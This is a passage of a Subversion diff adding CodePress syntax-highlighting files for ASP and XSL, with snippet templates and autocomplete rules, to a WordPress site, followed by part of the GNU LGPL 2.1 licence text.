+	{ input : /(&lt;style.*?&gt;)(.*?)(&lt;\/style&gt;)/g, output : '<em>$1</em><em>$2</em><em>$3</em>' }, 
+// script tags	
+	{ input : /(&lt;script.*?&gt;)(.*?)(&lt;\/script&gt;)/g, output : '<ins>$1</ins><ins>$2</ins><ins>$3</ins>' }, 
+// strings "" and attributes
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>' }, 
+// ASP Comment
+	{ input : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<dfn>\'$1$2</dfn>'}, 
+// <%.*
+	{ input : /(&lt;%)/g, output : '<strong>$1' }, 
+// .*%>	
+	{ input : /(%&gt;)/g, output : '$1</strong>' }, 
+// <%@...%>	
+	{ input : /(&lt;%@)(.+?)(%&gt;)/gi, output : '$1<span>$2</span>$3' }, 
+//Numbers	
+	{ input : /\b([\d]+)\b/g, output : '<var>$1</var>' }, 
+// Reserved Words 1 (Blue)
+	{ input : /\b(And|As|ByRef|ByVal|Call|Case|Class|Const|Dim|Do|Each|Else|ElseIf|Empty|End|Eqv|Exit|False|For|Function)\b/gi, output : '<a>$1</a>' }, 
+	{ input : /\b(Get|GoTo|If|Imp|In|Is|Let|Loop|Me|Mod|Enum|New|Next|Not|Nothing|Null|On|Option|Or|Private|Public|ReDim|Rem)\b/gi, output : '<a>$1</a>' }, 
+	{ input : /\b(Resume|Select|Set|Stop|Sub|Then|To|True|Until|Wend|While|With|Xor|Execute|Randomize|Erase|ExecuteGlobal|Explicit|step)\b/gi, output : '<a>$1</a>' }, 
+// Reserved Words 2 (Purple)	
+	{ input : /\b(Abandon|Abs|AbsolutePage|AbsolutePosition|ActiveCommand|ActiveConnection|ActualSize|AddHeader|AddNew|AppendChunk)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(AppendToLog|Application|Array|Asc|Atn|Attributes|BeginTrans|BinaryRead|BinaryWrite|BOF|Bookmark|Boolean|Buffer|Byte)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(CacheControl|CacheSize|Cancel|CancelBatch|CancelUpdate|CBool|CByte|CCur|CDate|CDbl|Charset|Chr|CInt|Clear)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(ClientCertificate|CLng|Clone|Close|CodePage|CommandText|CommandType|CommandTimeout|CommitTrans|CompareBookmarks|ConnectionString|ConnectionTimeout)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Contents|ContentType|Cookies|Cos|CreateObject|CreateParameter|CSng|CStr|CursorLocation|CursorType|DataMember|DataSource|Date|DateAdd|DateDiff)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(DatePart|DateSerial|DateValue|Day|DefaultDatabase|DefinedSize|Delete|Description|Double|EditMode|Eof|EOF|err|Error)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Exp|Expires|ExpiresAbsolute|Filter|Find|Fix|Flush|Form|FormatCurrency|FormatDateTime|FormatNumber|FormatPercent)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(GetChunk|GetLastError|GetRows|GetString|Global|HelpContext|HelpFile|Hex|Hour|HTMLEncode|IgnoreCase|Index|InStr|InStrRev)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Int|Integer|IsArray|IsClientConnected|IsDate|IsolationLevel|Join|LBound|LCase|LCID|Left|Len|Lock|LockType|Log|Long|LTrim)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(MapPath|MarshalOptions|MaxRecords|Mid|Minute|Mode|Month|MonthName|Move|MoveFirst|MoveLast|MoveNext|MovePrevious|Name|NextRecordset)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Now|Number|NumericScale|ObjectContext|Oct|Open|OpenSchema|OriginalValue|PageCount|PageSize|Pattern|PICS|Precision|Prepared|Property)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Provider|QueryString|RecordCount|Redirect|RegExp|Remove|RemoveAll|Replace|Requery|Request|Response|Resync|Right|Rnd)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(RollbackTrans|RTrim|Save|ScriptTimeout|Second|Seek|Server|ServerVariables|Session|SessionID|SetAbort|SetComplete|Sgn)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Sin|Size|Sort|Source|Space|Split|Sqr|State|StaticObjects|Status|StayInSync|StrComp|String|StrReverse|Supports|Tan|Time)\b/gi, output : '<u>$1</u>' },
+	{ input : /\b(Timeout|Timer|TimeSerial|TimeValue|TotalBytes|Transfer|Trim|Type|Type|UBound|UCase|UnderlyingValue|UnLock|Update|UpdateBatch)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(URLEncode|Value|Value|Version|Weekday|WeekdayName|Write|Year)\b/gi, output : '<u>$1</u>' }, 
+// Reserved Words 3 (Turquis)
+	{ input : /\b(vbBlack|vbRed|vbGreen|vbYellow|vbBlue|vbMagenta|vbCyan|vbWhite|vbBinaryCompare|vbTextCompare)\b/gi, output : '<i>$1</i>' }, 
+  	{ input : /\b(vbSunday|vbMonday|vbTuesday|vbWednesday|vbThursday|vbFriday|vbSaturday|vbUseSystemDayOfWeek)\b/gi, output : '<i>$1</i>' }, 
+	{ input : /\b(vbFirstJan1|vbFirstFourDays|vbFirstFullWeek|vbGeneralDate|vbLongDate|vbShortDate|vbLongTime|vbShortTime)\b/gi, output : '<i>$1</i>' }, 
+	{ input : /\b(vbObjectError|vbCr|VbCrLf|vbFormFeed|vbLf|vbNewLine|vbNullChar|vbNullString|vbTab|vbVerticalTab|vbUseDefault|vbTrue)\b/gi, output : '<i>$1</i>' }, 
+	{ input : /\b(vbFalse|vbEmpty|vbNull|vbInteger|vbLong|vbSingle|vbDouble|vbCurrency|vbDate|vbString|vbObject|vbError|vbBoolean|vbVariant)\b/gi, output : '<i>$1</i>' }, 
+	{ input : /\b(vbDataObject|vbDecimal|vbByte|vbArray)\b/gi, output : '<i>$1</i>' },
+// html comments
+	{ input : /(&lt;!--.*?--&gt.)/g, output : '<big>$1</big>' } 
+]
+
+Language.Functions = [ 
+  	// Output at index 0, must be the desired tagname surrounding a $1
+	// Name is the index from the regex that marks the functionname
+	{input : /(function|sub)([ ]*?)(\w+)([ ]*?\()/gi , output : '<ins>$1</ins>', name : '$3'}
+]
+
+Language.snippets = [
+//Conditional
+	{ input : 'if', output : 'If $0 Then\n\t\nEnd If' },
+	{ input : 'ifelse', output : 'If $0 Then\n\t\n\nElse\n\t\nEnd If' },
+	{ input : 'case', output : 'Select Case $0\n\tCase ?\n\tCase Else\nEnd Select'},
+//Response
+	{ input : 'rw', output : 'Response.Write( $0 )' },
+	{ input : 'resc', output : 'Response.Cookies( $0 )' },
+	{ input : 'resb', output : 'Response.Buffer'},
+	{ input : 'resflu', output : 'Response.Flush()'},
+	{ input : 'resend', output : 'Response.End'},
+//Request
+	{ input : 'reqc', output : 'Request.Cookies( $0 )' },
+	{ input : 'rq', output : 'Request.Querystring("$0")' },
+	{ input : 'rf', output : 'Request.Form("$0")' },
+//FSO
+	{ input : 'fso', output : 'Set fso = Server.CreateObject("Scripting.FileSystemObject")\n$0' },
+	{ input : 'setfo', output : 'Set fo = fso.getFolder($0)' },
+	{ input : 'setfi', output : 'Set fi = fso.getFile($0)' },
+	{ input : 'twr', output : 'Set f = fso.CreateTextFile($0,true)\'overwrite\nf.WriteLine()\nf.Close'},
+	{ input : 'tre', output : 'Set f = fso.OpenTextFile($0, 1)\nf.ReadAll\nf.Close'},
+//Server
+	{ input : 'mapp', output : 'Server.Mappath($0)' },
+//Loops
+	{ input : 'foreach', output : 'For Each $0 in ?\n\t\nNext' },
+	{ input : 'for', output : 'For $0 to ? step ?\n\t\nNext' },
+	{ input : 'do', output : 'Do While($0)\n\t\nLoop' },
+	{ input : 'untilrs', output : 'do until rs.eof\n\t\nrs.movenext\nloop' },
+//ADO
+	{ input : 'adorec', output : 'Set rs = Server.CreateObject("ADODB.Recordset")' },
+	{ input : 'adocon', output : 'Set Conn = Server.CreateObject("ADODB.Connection")' },
+	{ input : 'adostr', output : 'Set oStr = Server.CreateObject("ADODB.Stream")' },
+//Http Request
+	{ input : 'xmlhttp', output : 'Set xmlHttp = Server.CreateObject("Microsoft.XMLHTTP")\nxmlHttp.open("GET", $0, false)\nxmlHttp.send()\n?=xmlHttp.responseText' },
+	{ input : 'xmldoc', output : 'Set xmldoc = Server.CreateObject("Microsoft.XMLDOM")\nxmldoc.async=false\nxmldoc.load(request)'},
+//Functions
+	{ input : 'func', output : 'Function $0()\n\t\n\nEnd Function'},
+	{ input : 'sub', output : 'Sub $0()\n\t\nEnd Sub'}
+
+]
+
+Language.complete = [
+	//{ input : '\'', output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = [
+	{ input : '[space]', output : '&nbsp;' },
+	{ input : '[enter]', output : '<br />' } ,
+	{ input : '[j]', output : 'testing' },
+	{ input : '[7]', output : '&amp;' }
+]
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/xsl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/xsl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/xsl.css	(revision 44)
@@ -0,0 +1,15 @@
+/*
+ * CodePress color styles for HTML syntax highlighting
+ * By RJ Bruneel
+ */
+ 
+b {color:#000080;} /* tags */
+ins, ins b, ins s, ins em {color:gray;} /* comments */
+s, s b {color:#7777e4;} /* attribute values */
+a {color:#E67300;} /* links */
+u {color:#CC66CC;} /* forms */
+big {color:#db0000;} /* images */
+em, em b {color:#800080;} /* style */
+strong {color:#800000;} /* script */
+tt i {color:darkblue;font-weight:bold;} /* script reserved words */
+xsl {color:green;} /* xsl */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/xsl.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/xsl.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/xsl.js	(revision 44)
@@ -0,0 +1,103 @@
+/*
+ * CodePress regular expressions for XSL syntax highlighting
+ * By RJ Bruneel
+ */
+
+Language.syntax = [ // XSL
+	{
+	input : /(&lt;[^!]*?&gt;)/g,
+	output : '<b>$1</b>' // all tags
+	},{
+	input : /(&lt;a.*?&gt;|&lt;\/a&gt;)/g,
+	output : '<a>$1</a>' // links
+	},{
+	input : /(&lt;img .*?&gt;)/g,
+	output : '<big>$1</big>' // images
+	},{
+	input : /(&lt;\/?(button|textarea|form|input|select|option|label).*?&gt;)/g,
+	output : '<u>$1</u>' // forms
+	},{
+	input : /(&lt;style.*?&gt;)(.*?)(&lt;\/style&gt;)/g,
+	output : '<em>$1</em><em>$2</em><em>$3</em>' // style tags
+	},{
+	input : /(&lt;script.*?&gt;)(.*?)(&lt;\/script&gt;)/g,
+	output : '<strong>$1</strong><tt>$2</tt><strong>$3</strong>' // script tags
+	},{	
+	input : /(&lt;xsl.*?&gt;|&lt;\/xsl.*?&gt;)/g,
+	output : '<xsl>$1</xsl>' // xsl
+	},{
+	input : /=(".*?")/g,
+	output : '=<s>$1</s>' // atributes double quote
+	},{
+	input : /=('.*?')/g,
+	output : '=<s>$1</s>' // atributes single quote
+	},{
+	input : /(&lt;!--.*?--&gt.)/g,
+	output : '<ins>$1</ins>' // comments 
+	},{
+	input : /\b(alert|window|document|break|continue|do|for|new|this|void|case|default|else|function|return|typeof|while|if|label|switch|var|with|catch|boolean|int|try|false|throws|null|true|goto)\b/g,
+	output : '<i>$1</i>' // script reserved words
+	}
+];
+
+Language.snippets = [
+	{input : 'aref', output : '<a href="$0"></a>' },
+	{input : 'h1', output : '<h1>$0</h1>' },
+	{input : 'h2', output : '<h2>$0</h2>' },
+	{input : 'h3', output : '<h3>$0</h3>' },
+	{input : 'h4', output : '<h4>$0</h4>' },
+	{input : 'h5', output : '<h5>$0</h5>' },
+	{input : 'h6', output : '<h6>$0</h6>' },
+	{input : 'html', output : '<html>\n\t$0\n</html>' },
+	{input : 'head', output : '<head>\n\t<meta http-equiv="content-type" content="text/html; charset=utf-8" />\n\t<title>$0</title>\n\t\n</head>' },
+	{input : 'img', output : '<img src="$0" width="" height="" alt="" border="0" />' },
+	{input : 'input', output : '<input name="$0" id="" type="" value="" />' },
+	{input : 'label', output : '<label for="$0"></label>' },
+	{input : 'legend', output : '<legend>\n\t$0\n</legend>' },
+	{input : 'link', output : '<link rel="stylesheet" href="$0" type="text/css" media="screen" charset="utf-8" />' },		
+	{input : 'base', output : '<base href="$0" />' }, 
+	{input : 'body', output : '<body>\n\t$0\n</body>' }, 
+	{input : 'css', output : '<link rel="stylesheet" href="$0" type="text/css" media="screen" charset="utf-8" />' },
+	{input : 'div', output : '<div>\n\t$0\n</div>' },
+	{input : 'divid', output : '<div id="$0">\n\t\n</div>' },
+	{input : 'dl', output : '<dl>\n\t<dt>\n\t\t$0\n\t</dt>\n\t<dd></dd>\n</dl>' },
+	{input : 'fieldset', output : '<fieldset>\n\t$0\n</fieldset>' },
+	{input : 'form', output : '<form action="$0" method="" name="">\n\t\n</form>' },
+	{input : 'meta', output : '<meta name="$0" content="" />' },
+	{input : 'p', output : '<p>$0</p>' },
+	{input : 'b', output : '<b>$0</b>' },
+	{input : 'li', output : '<li>$0</li>' },
+	{input : 'ul', output : '<ul>$0</ul>' },
+	{input : 'ol', output : '<ol>$0</ol>' },
+	{input : 'strong', output : '<strong>$0</strong>' },
+	{input : 'br', output : '<br />' },
+	{input : 'script', output : '<script type="text/javascript" language="javascript" charset="utf-8">\n\t$0\t\n</script>' },
+	{input : 'scriptsrc', output : '<script src="$0" type="text/javascript" language="javascript" charset="utf-8"></script>' },
+	{input : 'span', output : '<span>$0</span>' },
+	{input : 'table', output : '<table border="$0" cellspacing="" cellpadding="">\n\t<tr><th></th></tr>\n\t<tr><td></td></tr>\n</table>' },
+	{input : 'style', output : '<style type="text/css" media="screen">\n\t$0\n</style>' },
+	{input : 'xsl:stylesheet', output : '<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">' },
+	{input : 'xsl:template', output : '<xsl:template>$0</xsl:template>' },
+	{input : 'xsl:for-each', output : '<xsl:for-each select="$0"></xsl:for-each>' },
+	{input : 'xsl:choose', output : '<xsl:choose>$0<\xsl:choose>' },
+	{input : 'xsl:param', output : '<xsl:param name="$0" />' },
+	{input : 'xsl:variable', output : '<xsl:variable name="$0"></xsl:variable>' },
+	{input : 'xsl:if', output : '<xsl:if test="$0"></xsl:if>' },
+	{input : 'xsl:when', output : '<xsl:when test="$0"></xsl:when>' },
+	{input : 'xsl:otherwise', output : '<xsl:otherwise>$0</xsl:otherwise>' },
+	{input : 'xsl:attribute', output : '<xsl:attribute name="$0"></xsl:attribute>' },
+	{input : 'xsl:value-of', output : '<xsl:value-of select="$0"/>' },
+	{input : 'xsl:with-param', output : '<xsl:with-param name="$0" select="" />' },
+	{input : 'xsl:call-template', output : '<xsl:call-template name="$0">' }
+
+];
+	
+Language.complete = [ // Auto complete only for 1 character
+	{input : '\'',output : '\'$0\'' },
+	{input : '"', output : '"$0"' },
+	{input : '(', output : '\($0\)' },
+	{input : '[', output : '\[$0\]' },
+	{input : '{', output : '{\n\t$0\n}' }		
+];
+
+Language.shortcuts = [];
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/license.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/license.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/license.txt	(revision 44)
@@ -0,0 +1,458 @@
+		  GNU LESSER GENERAL PUBLIC LICENSE
+		       Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+		  GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
